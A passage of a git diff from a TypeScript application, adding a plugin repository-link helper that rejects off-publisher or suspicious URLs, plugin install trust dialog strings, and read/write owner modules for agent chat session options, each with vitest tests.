=> { + const mirror = { url: 'https://github.com/stablyai/orca-community-mirror.git' } + + it("links the author's repository a mirrored listing records", () => { + expect( + pluginListingRepositoryUrl({ + pluginKey: 'dawidwetzler.cobalt2-theme', + source: mirror, + release: { repository: 'https://github.com/DawidWetzler/orca-cobalt2-theme' } + }) + ).toBe('https://github.com/DawidWetzler/orca-cobalt2-theme') + }) + + it('falls back to the mirror once the catalog marks the source unavailable', () => { + expect( + pluginListingRepositoryUrl({ + pluginKey: 'acme.notes', + source: mirror, + release: { repository: 'https://github.com/acme/notes', sourceUnavailable: true } + }) + ).toBe(mirror.url) + }) + + it("never links a recorded repository outside the publisher's namespace or linkable hosts", () => { + for (const repository of [ + 'https://github.com/someone-else/notes', + 'https://evil.example/acme/notes', + 'https://github.com/acme/%2e%2e' + ]) { + expect( + pluginListingRepositoryUrl({ + pluginKey: 'acme.notes', + source: mirror, + release: { repository } + }) + ).toBe(mirror.url) + } + expect(pluginListingRepositoryUrl({ pluginKey: 'acme.notes', source: mirror })).toBe(mirror.url) + }) +}) diff --git a/src/shared/plugins/catalog/plugin-repository-link.ts b/src/shared/plugins/catalog/plugin-repository-link.ts index 75c9c71c478..cd1995dbd58 100644 --- a/src/shared/plugins/catalog/plugin-repository-link.ts +++ b/src/shared/plugins/catalog/plugin-repository-link.ts @@ -1,4 +1,5 @@ -import { parseGitRepositoryIdentity } from './plugin-marketplace' +import { parseGitRepositoryIdentity, splitQualifiedPluginKey } from './plugin-marketplace' +import { gitUrlPluginPublisher } from '../installation/plugin-publisher-derivation' const LINKABLE_GIT_HOSTS = new Set(['github.com', 'gitlab.com']) const PATH_SEGMENT_RE = /^[A-Za-z0-9_][A-Za-z0-9._-]*$/ @@ -38,3 +39,23 @@ export function pluginReadmePageUrl(source: { const tree = repository.startsWith('https://gitlab.com/') ? '-/tree' : 'tree' return `${[repository, tree, source.commit, ...pathSegments].join('/')}#readme` } + +/** The repository a listing's links open: the release's recorded author repository when it + * belongs to the listed publisher, else the install source (such as Stably's mirror, which a + * catalog marks `sourceUnavailable` once the author's repository is gone). */ +export function pluginListingRepositoryUrl(listing: { + pluginKey: string + source: { url: string } + release?: { repository?: string; sourceUnavailable?: true } +}): string { + const authored = listing.release?.repository + if ( + authored && + !listing.release?.sourceUnavailable && + pluginRepositoryPageUrl(authored) && + gitUrlPluginPublisher(authored) === splitQualifiedPluginKey(listing.pluginKey)?.publisher + ) { + return authored + } + return listing.source.url +} diff --git a/src/shared/plugins/languages/protected-copy-keys.json b/src/shared/plugins/languages/protected-copy-keys.json index c4466ce1a2d..1081c45ce3b 100644 --- a/src/shared/plugins/languages/protected-copy-keys.json +++ b/src/shared/plugins/languages/protected-copy-keys.json @@ -255,6 +255,22 @@ "auto.components.settings.PluginInstallDialog.localTab", "auto.components.settings.PluginInstallDialog.source", "auto.components.settings.PluginInstallDialog.title", + "auto.components.settings.PluginInstallTrustDialog.addFolder", + "auto.components.settings.PluginInstallTrustDialog.cancel", + "auto.components.settings.PluginInstallTrustDialog.catalog", + "auto.components.settings.PluginInstallTrustDialog.code", + "auto.components.settings.PluginInstallTrustDialog.content", + "auto.components.settings.PluginInstallTrustDialog.devFolder", + "auto.components.settings.PluginInstallTrustDialog.folder", + "auto.components.settings.PluginInstallTrustDialog.git", + "auto.components.settings.PluginInstallTrustDialog.install", + "auto.components.settings.PluginInstallTrustDialog.localFolder", + "auto.components.settings.PluginInstallTrustDialog.publisher", + "auto.components.settings.PluginInstallTrustDialog.repository", + "auto.components.settings.PluginInstallTrustDialog.theme", + "auto.components.settings.PluginInstallTrustDialog.title", + "auto.components.settings.PluginInstallTrustDialog.titleFolder", + "auto.components.settings.PluginInstallTrustDialog.translations", "auto.components.settings.PluginMarketplaceSourceDialog.add", "auto.components.settings.PluginMarketplaceSourceDialog.addFailed", "auto.components.settings.PluginMarketplaceSourceDialog.adding", diff --git a/src/shared/rpc-contract/hosted-review-params.ts b/src/shared/rpc-contract/hosted-review-params.ts index 171bfe091e2..f4182794278 100644 --- a/src/shared/rpc-contract/hosted-review-params.ts +++ b/src/shared/rpc-contract/hosted-review-params.ts @@ -6,6 +6,8 @@ export const HostedReviewForBranch = z.object({ repo: requiredString('Missing repo selector'), branch: requiredString('Missing branch'), force: z.boolean().optional(), + userRefresh: z.boolean().optional(), + reportReadOutcome: z.boolean().optional(), admissionTier: OptionalGitAdmissionTier, currentHeadOid: z.string().nullable().optional(), // Only the caller's selected worktree; the host caps how many earn the fast tier. diff --git a/src/shared/rpc-contract/structured-agent-session-params.ts b/src/shared/rpc-contract/structured-agent-session-params.ts index d9072db1fb0..ba781f1cca8 100644 --- a/src/shared/rpc-contract/structured-agent-session-params.ts +++ b/src/shared/rpc-contract/structured-agent-session-params.ts @@ -122,7 +122,7 @@ export const SendParams = z .object({ envelope: MutationEnvelope, retryUnknown: z.literal(true).optional(), - /** Host-held draft while active; gate strict payloads on agent-session.queued-messages.v1. + /** Host-held draft while active; gate strict payloads on agent-session.queued-messages.v2. * Operation fingerprint only, never body fingerprint. */ delivery: z.literal('queue-if-active').optional(), /** Preserve composer options until dispatch; requires agent-session.send-options.v1. Operation fingerprint only. */ @@ -189,7 +189,7 @@ export const CancelParams = z } }) -/** Queued draft actions require agent-session.queued-messages.v1; older hosts lack these methods. */ +/** Queued draft actions require agent-session.queued-messages.v2; older hosts lack these methods. */ export const QueuedMessageActionParams = z .object({ envelope: MutationEnvelope, diff --git a/src/shared/runtime-client-events.ts b/src/shared/runtime-client-events.ts index 844896824f5..2a7028f4d48 100644 --- a/src/shared/runtime-client-events.ts +++ b/src/shared/runtime-client-events.ts @@ -13,6 +13,7 @@ import type { SidebarInputsChangedEvent } from './sidebar-list/sidebar-inputs-fe export type RuntimeClientEvent = | { type: 'reposChanged' } + | { type: 'nativeChatQueueFollowUpsChanged'; queueFollowUps: boolean } /** The Workspace options UI state changed; a mirroring phone re-reads it. */ | { type: 'workspaceViewChanged' } | { @@ -65,6 +66,7 @@ export type RuntimeClientEvent = export type RuntimeClientEventStreamMessage = | ({ type: 'ready'; subscriptionId: string } & { snapshot?: { + nativeChatQueueFollowUps?: boolean repos?: unknown[] sshStates?: { targetId: string; state: SshConnectionState }[] } diff --git a/src/shared/source-control-tree.test.ts b/src/shared/source-control-tree.test.ts index bb5fd762161..99b5dc80a7b 100644 --- a/src/shared/source-control-tree.test.ts +++ b/src/shared/source-control-tree.test.ts @@ -1,5 +1,5 @@ import { describe, expect, it } from 'vitest' -import type { GitBranchChangeEntry } from './git-diff-compare-types' + import type { GitStatusEntry } from './git-status-types' import { buildGitStatusSourceControlTree, @@ -24,22 +24,6 @@ function labels(nodes: ReturnType): string[] { } describe('buildSourceControlTree', () => { - it('groups changed files by path segments', () => { - const tree = buildSourceControlTree('unstaged', [ - entry({ path: 'src/components/Button.tsx' }), - entry({ path: 'src/index.ts' }), - entry({ path: 'README.md' }) - ]) - - expect(labels(flattenSourceControlTree(tree, new Set()))).toEqual([ - 'directory:src', - 'directory:src/components', - 'file:src/components/Button.tsx', - 'file:src/index.ts', - 'file:README.md' - ]) - }) - it('orders numbered sibling directories naturally, matching the file rows', () => { const tree = buildSourceControlTree('unstaged', [ entry({ path: 'migrations/100 - b/a.sql' }), @@ -104,23 +88,6 @@ describe('buildSourceControlTree', () => { ]) }) - it('groups committed branch entries with branch-scoped directory keys', () => { - const entries: GitBranchChangeEntry[] = [ - { path: 'packages/app/src/index.ts', status: 'modified' }, - { path: 'packages/app/package.json', status: 'added' } - ] - const tree = buildSourceControlTree('branch', entries) - - expect(labels(flattenSourceControlTree(tree, new Set()))).toEqual([ - 'directory:packages', - 'directory:packages/app', - 'directory:packages/app/src', - 'file:packages/app/src/index.ts', - 'file:packages/app/package.json' - ]) - expect(tree[0].key).toBe('dir::branch::packages') - }) - it('compacts single-child directory chains for visible source-control rows', () => { const tree = buildSourceControlTree('branch', [ { path: 'src/renderer/src/mockups.css', status: 'modified' }, @@ -160,27 +127,6 @@ describe('buildSourceControlTree', () => { ]) }) - it('can namespace directory keys without changing file entry areas', () => { - const tree = compactSourceControlTree( - buildGitStatusSourceControlTree('unstaged', [ - entry({ - path: 'src/conflict.ts', - conflictKind: 'both_modified', - conflictStatus: 'unresolved' - }) - ]) - ) - - const namespaced = namespaceSourceControlTreeDirectoryKeys(tree, 'conflicts') - const rows = flattenSourceControlTree(namespaced, new Set()) - const directory = rows.find((node) => node.type === 'directory') - const file = rows.find((node) => node.type === 'file') - - expect(directory?.key).toBe('dir::conflicts::src') - expect(file?.key).toBe('unstaged::src/conflict.ts') - expect(file?.area).toBe('unstaged') - }) - it('can preserve file node areas from mixed conflict section entries', () => { const tree = compactSourceControlTree( buildGitStatusSourceControlTree('unstaged', [ diff --git a/src/shared/structured-agent-session-option-snapshot.ts b/src/shared/structured-agent-session-option-snapshot.ts index 9fe4b7c7aed..451d3fd8c6f 100644 --- a/src/shared/structured-agent-session-option-snapshot.ts +++ b/src/shared/structured-agent-session-option-snapshot.ts @@ -246,13 +246,10 @@ export function canSetStructuredAgentSessionOption( id: string, value: SessionOptionValue, snapshot = structuredAgentSessionOptionSnapshot(state), - interactionReady = true + interactionReady = true, + pending = false ): boolean { - if ( - !interactionReady || - state.pendingId === id || - (id === 'fastMode' && state.fastModeRestricted) - ) { + if (!interactionReady || pending || (id === 'fastMode' && state.fastModeRestricted)) { return false } if (id === 'permissionMode') { diff --git a/src/shared/structured-agent-session-option-view.test.ts b/src/shared/structured-agent-session-option-view.test.ts index a34b73e44b0..3b2a89ffb2c 100644 --- a/src/shared/structured-agent-session-option-view.test.ts +++ b/src/shared/structured-agent-session-option-view.test.ts @@ -280,17 +280,13 @@ describe('what a send carries', () => { }) it('carries held picks without committing them to the chat', () => { - const listed = { - ...withHostList(fresh(), { ...LISTED, models: [OPUS, SONNET] }), - pendingId: 'model' - } + const listed = withHostList(fresh(), { ...LISTED, models: [OPUS, SONNET] }) const originalRecord = structuredClone(listed.record) const view = structuredAgentSessionOptionView(listed, remembered, { model: 'sonnet', effort: 'high' }) expect(structuredAgentSessionSendSelection(view)).toEqual({ model: 'sonnet', effort: 'high' }) - expect(view.pendingId).toBe('model') expect(view.record).not.toBe(listed.record) expect(listed.record).toEqual(originalRecord) expect(carried(listed, remembered, { model: 'sonnet' })).toEqual({ diff --git a/src/shared/structured-agent-session-option-view.ts b/src/shared/structured-agent-session-option-view.ts index a9512754bdd..56febc5d081 100644 --- a/src/shared/structured-agent-session-option-view.ts +++ b/src/shared/structured-agent-session-option-view.ts @@ -113,7 +113,7 @@ function modelOptionView( if (unconfirmedSeed) { view = commitStructuredAgentSessionOptionValues(view, seed, 'seeded') } - return { ...commitStructuredAgentSessionOptionValues(view, held), pendingId: state.pendingId } + return commitStructuredAgentSessionOptionValues(view, held) } /** Claude sends its own values plus held picks. New chats/older hosts pin shown defaults on first send; resumed chats display defaults without sending them. */ diff --git a/src/shared/structured-agent-session-options-read-owner.test.ts b/src/shared/structured-agent-session-options-read-owner.test.ts new file mode 100644 index 00000000000..73e0df6b8a6 --- /dev/null +++ b/src/shared/structured-agent-session-options-read-owner.test.ts @@ -0,0 +1,195 @@ +import { expect, it, vi } from 'vitest' +import type { AgentSessionOptionsResult } from './agent-session-wire' +import { getAgentSessionOptionCatalog } from './agent-session-option-catalog' +import { createStructuredAgentSessionOptionState } from './structured-agent-session-options' +import { createStructuredSessionSelectionController } from './structured-agent-session-selection-operations' +import { createStructuredAgentSessionOptionsReadOwner } from './structured-agent-session-options-read-owner' + +const answer: AgentSessionOptionsResult = { + models: [{ id: 'live', label: 'Live', isDefault: true, efforts: [] }], + current: { model: 'live', permissionMode: 'ask', reportedPermissionMode: 'full-access' }, + acceptsImages: true +} +const tick = async () => { + for (let n = 0; n < 12; n++) { + await Promise.resolve() + } +} +function fixture() { + const optionCatalog = getAgentSessionOptionCatalog('codex') + const seed = () => createStructuredAgentSessionOptionState('codex', optionCatalog) + const reader = createStructuredAgentSessionOptionsReadOwner(seed()) + const controller = createStructuredSessionSelectionController(vi.fn()) + const reads: ReturnType>[] = [] + let generation = 1 + const context = { + owner: [controller], + reset: [1], + sessionId: 'chat', + fence: 1, + seed, + controller, + eligible: true, + optionCatalog, + newLaunch: false, + coherentCatalog: true, + authority: () => generation, + isCurrent: () => true, + accepted: vi.fn(), + request: vi.fn(() => { + const reply = Promise.withResolvers() + reads.push(reply) + return reply.promise + }) + } + return { + reader, + controller, + reads, + context, + advance: () => { + generation++ + } + } +} + +it('coalesces stale reads and publishes base/support/latch together before retiring only captured operations', async () => { + const { reader, controller, reads, context, advance } = fixture() + const close = reader.attach(context) + const changed = vi.fn() + const unsubscribe = reader.subscribe(changed) + const initial = reader.getSnapshot() + await tick() + const pick = controller.issue('model', 'picked', null) + controller.settle(pick, { kind: 'unknown' }) + for (let n = 0; n < 100; n++) { + reader.invalidate() + } + expect(reads).toHaveLength(1) + expect(changed).not.toHaveBeenCalled() + advance() + reads[0].resolve({ ...answer, acceptsImages: false }) + await tick() + expect(reader.getSnapshot()).toBe(initial) + expect(context.accepted).not.toHaveBeenCalled() + expect(controller.overlay()).toEqual({ model: 'picked' }) + expect(reads).toHaveLength(2) + const newer = controller.issue('effort', 'high', 'picked') + controller.settle(newer, { kind: 'accepted', options: { effort: 'high' } }) + // A catalog arriving during the read must survive an unknown-inventory answer. + reader.receiveCatalog({ origin: 'probe', fetchedAt: 1, models: answer.models }, 'settled') + const catalog = reader.getSnapshot().optionState.catalog + const stop = controller.subscribe(() => { + expect(reader.getSnapshot().support?.result.acceptsImages).toBe(true) + expect(reader.getSnapshot().optionState.optionsAnswerPresent).toBe(true) + }) + reads[1].resolve({ ...answer, modelsKnown: false }) + await tick() + expect(reader.getSnapshot().optionState.catalog).toBe(catalog) + expect(context.accepted).toHaveBeenCalledTimes(1) + expect(controller.captureRead()).toEqual([newer.identity]) + expect(controller.overlay()).toEqual({ effort: 'high' }) + stop() + close() + unsubscribe() +}) + +it('retains same-owner answers and permissions while resetting reports, and seeds a different owner but keeps its session-tagged support', async () => { + const { reader, context, reads } = fixture() + let close = reader.attach(context) + await tick() + reads[0].resolve(answer) + await tick() + const accepted = reader.getSnapshot() + close() + close = reader.attach({ ...context, reset: [2], fence: 2, eligible: false }) + const retained = reader.getSnapshot() + expect(retained.optionState.record).not.toBe(accepted.optionState.record) + expect(retained.optionState.catalog).toBe(accepted.optionState.catalog) + expect(retained.optionState.permissionMode).toBe('ask') + expect(retained.optionState.reportedPermissionMode).toBeUndefined() + expect(retained.optionState.reportedEffort).toBeUndefined() + expect(retained.support).toBe(accepted.support) + reader.invalidate() + reader.invalidate() + expect(reads).toHaveLength(1) + close() + close = reader.attach({ ...context, reset: [2], fence: 2 }) + await tick() + expect(reads).toHaveLength(2) + close() + const replacement = createStructuredSessionSelectionController(vi.fn()) + close = reader.attach({ + ...context, + controller: replacement, + owner: [replacement], + eligible: false + }) + expect(reader.getSnapshot().optionState.optionsAnswerPresent).toBeUndefined() + expect(reader.getSnapshot().optionState.permissionMode).toBeNull() + expect(reader.getSnapshot().support).toBe(accepted.support) + reads[1].resolve({ ...answer, acceptsImages: false }) + await tick() + expect(reader.getSnapshot().support).toBe(accepted.support) + close() +}) + +it('releases failed or closed reads and starts a fresh lease at once while the old reply stays inert', async () => { + const { reader, context, reads } = fixture() + const close = reader.attach(context) + await tick() + reader.invalidate() + close() + const detach = reader.attach(context) + close() // An old cleanup cannot close a newer lease. + await tick() + // The fresh lease does not wait behind the closed lease's request, whose queued read never runs. + expect(reads).toHaveLength(2) + reads[0].resolve({ ...answer, acceptsImages: false }) + await tick() + expect(reads).toHaveLength(2) + expect(reader.getSnapshot().support).toBeNull() + reader.invalidate() + reads[1].reject(new Error('offline')) + await tick() + expect(reads).toHaveLength(3) + expect(context.accepted).not.toHaveBeenCalled() + reads[2].resolve(answer) + await tick() + const accepted = reader.getSnapshot() + reader.invalidate() + await tick() + reads[3].reject(new Error('offline')) + await tick() + expect(reader.getSnapshot()).toBe(accepted) + reader.invalidate() + await tick() + expect(reads).toHaveLength(5) + reader.invalidate() + detach() + reads[4].resolve({ ...answer, acceptsImages: false }) + await tick() + expect(reads).toHaveLength(5) + expect(reader.getSnapshot()).toBe(accepted) + expect(context.accepted).toHaveBeenCalledTimes(1) +}) + +it('lets two live readers retire the same captured IDs without removing a newer pick', async () => { + const { reader, context, controller, reads } = fixture() + const older = controller.issue('model', 'picked', null) + controller.settle(older, { kind: 'unknown' }) + const peer = createStructuredAgentSessionOptionsReadOwner(context.seed()) + const closes = [reader.attach(context), peer.attach(context)] + await tick() + const newer = controller.issue('effort', 'high', 'picked') + controller.settle(newer, { kind: 'unknown' }) + for (const reply of reads) { + reply.resolve(answer) + await tick() + expect(controller.overlay()).toEqual({ effort: 'high' }) + expect(controller.captureRead()).toEqual([newer.identity]) + } + expect(reader.getSnapshot().support).not.toBeNull() + expect(peer.getSnapshot().support).not.toBeNull() + closes.forEach((close) => close()) +}) diff --git a/src/shared/structured-agent-session-options-read-owner.ts b/src/shared/structured-agent-session-options-read-owner.ts new file mode 100644 index 00000000000..0e55f45b566 --- /dev/null +++ b/src/shared/structured-agent-session-options-read-owner.ts @@ -0,0 +1,194 @@ +import type { AgentSessionOptionCatalog } from './agent-session-option-catalog' +import type { + AgentSessionModelCatalogResult, + AgentSessionOptionsResult +} from './agent-session-wire' +import { createCoalescingKeyedRunner } from './coalescing-keyed-runner' +import { cloneStructuredAgentSessionOptionRecord } from './structured-agent-session-option-state' +import { + applyStructuredAgentSessionModelCatalog, + applyStructuredAgentSessionOptions, + settleStructuredAgentSessionBuiltinCatalog, + type StructuredAgentSessionOptionState +} from './structured-agent-session-options' +import type { StructuredSessionSelectionController } from './structured-agent-session-selection-operations' + +type ReadContext = { + owner: readonly unknown[] + reset: readonly unknown[] + sessionId: string | null + fence: number | null + seed: () => StructuredAgentSessionOptionState + controller: StructuredSessionSelectionController + eligible: boolean + optionCatalog: AgentSessionOptionCatalog | null + newLaunch: boolean + coherentCatalog: boolean + authority: () => unknown + isCurrent: () => boolean + request: () => Promise + accepted?: () => void +} + +type ReadSnapshot = { + optionState: StructuredAgentSessionOptionState + support: { + result: AgentSessionOptionsResult + sessionId: string | null + fence: number | null + } | null +} +const same = (left: readonly unknown[], right: readonly unknown[]) => + left.length === right.length && left.every((value, index) => Object.is(value, right[index])) + +/** One live scope owns capture, accepted publication and causal retirement on either surface. */ +export function createStructuredAgentSessionOptionsReadOwner( + seed: StructuredAgentSessionOptionState +) { + let snapshot: ReadSnapshot = { optionState: seed, support: null } + let previous: ReadContext | undefined + let lease: (ReadContext & { key: string }) | undefined + let leases = 0 + let version = 0 + let dirty = true + const listeners = new Set<() => void>() + const notify = () => listeners.forEach((listener) => listener()) + const run = createCoalescingKeyedRunner() + const updateOptionState = ( + update: (current: StructuredAgentSessionOptionState) => StructuredAgentSessionOptionState + ) => { + const optionState = update(snapshot.optionState) + if (optionState !== snapshot.optionState) { + snapshot = { ...snapshot, optionState } + notify() + } + } + const schedule = () => { + const attached = lease + if (!attached?.eligible) { + return + } + // Coalesce within a lease; a new lease reads at once and the old lease's reply stays inert. + void run(attached.key, 'latest', async () => { + if (lease !== attached || !dirty || !attached.isCurrent()) { + return + } + dirty = false + const capturedVersion = version + const record = snapshot.optionState.record + const authority = attached.authority() + const completed = attached.controller.captureRead() + const result = await attached.request() + if ( + lease !== attached || + version !== capturedVersion || + snapshot.optionState.record !== record || + !attached.isCurrent() || + !Object.is(attached.authority(), authority) + ) { + return + } + snapshot = { + optionState: attached.optionCatalog + ? applyStructuredAgentSessionOptions( + snapshot.optionState, + attached.optionCatalog, + result, + attached + ) + : snapshot.optionState, + support: { result, sessionId: attached.sessionId, fence: attached.fence } + } + attached.accepted?.() + attached.controller.retire(completed) + notify() + }).catch(() => undefined) + } + const invalidate = () => { + version++ + dirty = true + schedule() + } + return { + getSnapshot: () => snapshot, + subscribe: (listener: () => void) => { + listeners.add(listener) + return () => { + listeners.delete(listener) + } + }, + optionStateRef: { + get current() { + return snapshot.optionState + } + }, + activeOptionRecordRef: { + get current() { + return snapshot.optionState.record + } + }, + updateOptionState, + invalidate, + attach(context: ReadContext) { + const sameOwner = !previous || same(previous.owner, context.owner) + if (!previous || !sameOwner || !same(previous.reset, context.reset)) { + const current = snapshot.optionState + const kept = + sameOwner && + (current.optionsAnswerPresent || + (current.catalogSource !== 'seed' && current.catalogSource !== null)) + ? { + ...current, + record: cloneStructuredAgentSessionOptionRecord(current.record), + reportedPermissionMode: undefined, + reportedEffort: undefined + } + : context.seed() + // Support stays tagged with its session; consumers filter by session, so it bridges a re-pair. + snapshot = { + ...snapshot, + optionState: sameOwner ? { ...kept, permissionMode: current.permissionMode } : kept + } + notify() + } + previous = context + const attached = { ...context, key: String(++leases) } + lease = attached + invalidate() + return () => { + if (lease === attached) { + lease = undefined + version++ + dirty = true + } + } + }, + receiveCatalog( + catalog: AgentSessionModelCatalogResult | null, + _event: 'demand' | 'progress' | 'settled' + ) { + const context = lease + if (!context) { + return + } + updateOptionState((current) => + catalog && context.optionCatalog + ? applyStructuredAgentSessionModelCatalog( + current, + context.optionCatalog, + catalog, + context + ) + : settleStructuredAgentSessionBuiltinCatalog(current, false) + ) + if ( + !context.coherentCatalog && + catalog && + catalog.origin !== 'unknown' && + !catalog.listingInProgress + ) { + invalidate() + } + } + } +} diff --git a/src/shared/structured-agent-session-options-write-owner.test.ts b/src/shared/structured-agent-session-options-write-owner.test.ts new file mode 100644 index 00000000000..6ff7b8effd1 --- /dev/null +++ b/src/shared/structured-agent-session-options-write-owner.test.ts @@ -0,0 +1,229 @@ +import { describe, expect, it, vi } from 'vitest' +import { cloneStructuredAgentSessionOptionRecord } from './structured-agent-session-option-state' +import { + structuredAgentSessionOptionView, + structuredAgentSessionShownSnapshot +} from './structured-agent-session-option-view' +import { createStructuredAgentSessionOptionState } from './structured-agent-session-options' +import { + acceptedStructuredSessionSelectionOutcome, + createStructuredAgentSessionOptionsWriteOwner +} from './structured-agent-session-options-write-owner' +import { + createStructuredSessionSelectionController, + type SelectionOutcome +} from './structured-agent-session-selection-operations' +import { structuredAgentSessionSeedCatalog } from './structured-agent-session-seed-catalog' + +function harness(agent = 'codex') { + let state = { + ...createStructuredAgentSessionOptionState(agent, { + ...structuredAgentSessionSeedCatalog(agent), + models: [] + }), + permissionMode: 'ask', + reportedPermissionMode: 'ask', + permissionOwnSupported: true + } + let controller = createStructuredSessionSelectionController(vi.fn()) + let starting = false + let visit = {} + const replies: ReturnType>[] = [] + const sends = vi.fn(() => { + const reply = Promise.withResolvers() + replies.push(reply) + return reply.promise + }) + const revalidate = vi.fn() + const presentFailure = vi.fn() + const writer = createStructuredAgentSessionOptionsWriteOwner(() => { + const view = structuredAgentSessionOptionView(state, undefined, controller.overlay()) + return { + controller, + record: state.record, + view, + snapshot: structuredAgentSessionShownSnapshot(view), + ready: true, + providerStarting: starting, + isCurrentContext: () => true, + flush: () => controller.flush(sends), + capturePresentation: () => { + const captured = visit + return () => captured === visit + }, + revalidate, + presentFailure, + revalidateOn: 'refused-current' + } + }) + return { + writer, + sends, + revalidate, + presentFailure, + pending: () => writer.pendingOptionId(controller, state.record), + controller: () => controller, + starting: (value: boolean) => { + starting = value + }, + reset: () => { + state = { ...state, record: cloneStructuredAgentSessionOptionRecord(state.record) } + }, + endPresentation: () => { + visit = {} + }, + replaceController: () => { + controller = createStructuredSessionSelectionController(vi.fn()) + }, + settle: (index: number, outcome: SelectionOutcome) => replies[index]!.resolve(outcome) + } +} + +const accepted = { kind: 'accepted', options: {} } as const + +describe('shared option write transaction', () => { + it.each(['claude', 'codex'])( + 'admits literal %s picks with no listed models and retains only finite overlays', + async (agent) => { + const h = harness(agent) + const controller = h.controller() + const observed: (string | null)[] = [] + const unsubscribe = controller.subscribe(() => observed.push(h.pending())) + const model = h.writer.setOption('model', 'unlisted-alias') + expect(controller.overlay()).toEqual({ model: 'unlisted-alias' }) + expect(observed[0]).toBe('model') + expect(await h.writer.setOption('model', 'another-alias')).toBe(false) + const effort = h.writer.setOption('effort', 'unlisted-effort') + const fast = h.writer.setOption('fastMode', true) + expect(h.sends).toHaveBeenCalledTimes(3) + expect(controller.overlay()).toEqual({ + model: 'unlisted-alias', + effort: 'unlisted-effort', + fastMode: 'true' + }) + h.settle( + 0, + acceptedStructuredSessionSelectionOutcome({ key: 'model', value: 'unlisted-alias' }) + ) + h.settle(1, { kind: 'refused' }) + h.settle(2, { kind: 'unknown' }) + expect(await Promise.all([model, effort, fast])).toEqual([true, false, true]) + expect(h.pending()).toBeNull() + expect(controller.overlay()).toEqual({ model: 'unlisted-alias', fastMode: 'true' }) + const captured = controller.captureRead() + expect(captured).toHaveLength(2) + // A read retires only its captured terminal identities when it publishes. + controller.retire([]) + expect(controller.overlay().model).toBe('unlisted-alias') + controller.retire(captured) + expect(controller.overlay()).toEqual({}) + expect(h.revalidate).toHaveBeenCalledTimes(1) + unsubscribe() + } + ) + + it.each([true, false])( + 'keeps the issue-time startup policy across a phase change: starting=%s', + async (starting) => { + const h = harness() + h.starting(starting) + const picking = h.writer.setOption('model', 'literal') + expect(h.pending()).toBe(starting ? null : 'model') + h.starting(!starting) + expect(h.pending()).toBe(starting ? null : 'model') + if (starting) { + // The sheet is free, but ordinary same-key admission still consults the controller. + expect(await h.writer.setOption('model', 'different-string')).toBe(false) + const effort = h.writer.setOption('effort', 'high') + expect(h.pending()).toBe('effort') + h.settle(1, accepted) + await effort + expect(h.pending()).toBeNull() + } + h.settle(0, accepted) + await picking + expect(h.pending()).toBeNull() + } + ) + + it.each([ + { second: 'fastMode', value: true, order: [0, 1] }, + { second: 'fastMode', value: true, order: [1, 0] }, + { second: 'permissionMode', value: 'full-access', order: [1, 0] } + ])('never falls back to an earlier key: $second / $order', async ({ second, value, order }) => { + const h = harness() + const first = h.writer.setOption('model', 'literal') + const latest = h.writer.setOption(second, value) + expect(h.pending()).toBe(second === 'permissionMode' ? null : second) + const picks = [first, latest] + const completed = new Set() + for (const index of order) { + h.settle(index, accepted) + await picks[index] + completed.add(index) + expect(h.pending()).toBe(second === 'permissionMode' || completed.has(1) ? null : second) + } + }) + + it('keeps startup and permission repicks free across reverse replies and startup ending', async () => { + const h = harness() + h.starting(true) + const first = h.writer.setOption('model', 'first') + const second = h.writer.setOption('model', 'second') + h.starting(false) + expect(h.pending()).toBeNull() + const permission = h.writer.setOption('permissionMode', 'full-access') + const repick = h.writer.setOption('permissionMode', 'ask') + h.settle(3, accepted) + h.settle(1, accepted) + await Promise.all([repick, second]) + expect(h.pending()).toBeNull() + expect(h.controller().overlay()).toMatchObject({ model: 'second', permissionMode: 'ask' }) + h.settle(2, accepted) + h.settle(0, accepted) + await Promise.all([permission, first]) + expect(h.pending()).toBeNull() + }) + + it.each([ + 'same-record read', + 'record reset', + 'controller replacement', + 'detach', + 'abandon', + 'presentation ends' + ])( + 'scopes pending to the record and late presentation to its scope across %s', + async (change) => { + const h = harness() + const picking = h.writer.setOption('model', 'literal') + if (change === 'record reset') { + h.reset() + } + if (change === 'controller replacement') { + h.replaceController() + } + if (change === 'detach') { + h.writer.detach() + } + if (change === 'abandon') { + h.controller().abandon() + } + if (change === 'presentation ends') { + h.endPresentation() + } + expect(h.pending()).toBe( + change === 'same-record read' || change === 'presentation ends' ? 'model' : null + ) + h.settle(0, { kind: 'refused', failure: { kind: 'unconfirmed' } }) + await picking + expect(h.pending()).toBeNull() + expect(h.presentFailure).toHaveBeenCalledTimes( + change === 'abandon' || change === 'presentation ends' ? 0 : 1 + ) + expect(h.revalidate).toHaveBeenCalledTimes( + change === 'same-record read' || change === 'presentation ends' ? 1 : 0 + ) + } + ) +}) diff --git a/src/shared/structured-agent-session-options-write-owner.ts b/src/shared/structured-agent-session-options-write-owner.ts new file mode 100644 index 00000000000..8e65f2fd7f4 --- /dev/null +++ b/src/shared/structured-agent-session-options-write-owner.ts @@ -0,0 +1,147 @@ +import { AGENT_CHAT_PERMISSION_MODE_OPTION_ID } from './agent-chat-permission-mode' +import type { AgentSessionWriteFailure } from './agent-session-write-failure' +import type { + SessionOptionDescriptor, + SessionOptionValue +} from './native-chat/input/native-chat-session-options' +import { encodeStructuredAgentSessionOptionValue } from './structured-agent-session-option-codec' +import { + canSetStructuredAgentSessionOption, + structuredAgentSessionOptionPicks, + type StructuredAgentSessionOptionState +} from './structured-agent-session-options' +import type { + SelectionOperation, + SelectionOutcome, + StructuredSessionSelectionController +} from './structured-agent-session-selection-operations' + +type WriteContext = { + controller: StructuredSessionSelectionController + record: StructuredAgentSessionOptionState['record'] + view: StructuredAgentSessionOptionState + snapshot: SessionOptionDescriptor[] + ready: boolean + providerStarting: boolean + isCurrentContext: () => boolean + hold?: ( + id: string, + encoded: string, + view: StructuredAgentSessionOptionState + ) => Promise | null + flush: (isCurrent: () => boolean) => void + capturePresentation?: () => () => boolean + presentFailure?: (failure: AgentSessionWriteFailure) => void + revalidate: () => void + revalidateOn: 'settled' | 'refused-current' +} + +type IssueReceipt = Pick & { + operation: SelectionOperation +} + +export function acceptedStructuredSessionSelectionOutcome( + pick: Pick, + options?: Readonly> +): SelectionOutcome { + return { kind: 'accepted', options: options ?? { [pick.key]: pick.value } } +} + +/** One action transaction over the existing finite operation controller. */ +export function createStructuredAgentSessionOptionsWriteOwner(read: () => WriteContext) { + let receipt: IssueReceipt | undefined + let attachment = 0 + return { + pendingOptionId( + controller: StructuredSessionSelectionController, + record: WriteContext['record'] + ): string | null { + if ( + !receipt || + receipt.controller !== controller || + receipt.record !== record || + receipt.providerStarting || + receipt.operation.key === AGENT_CHAT_PERMISSION_MODE_OPTION_ID + ) { + return null + } + // Only the latest issue chooses the key; 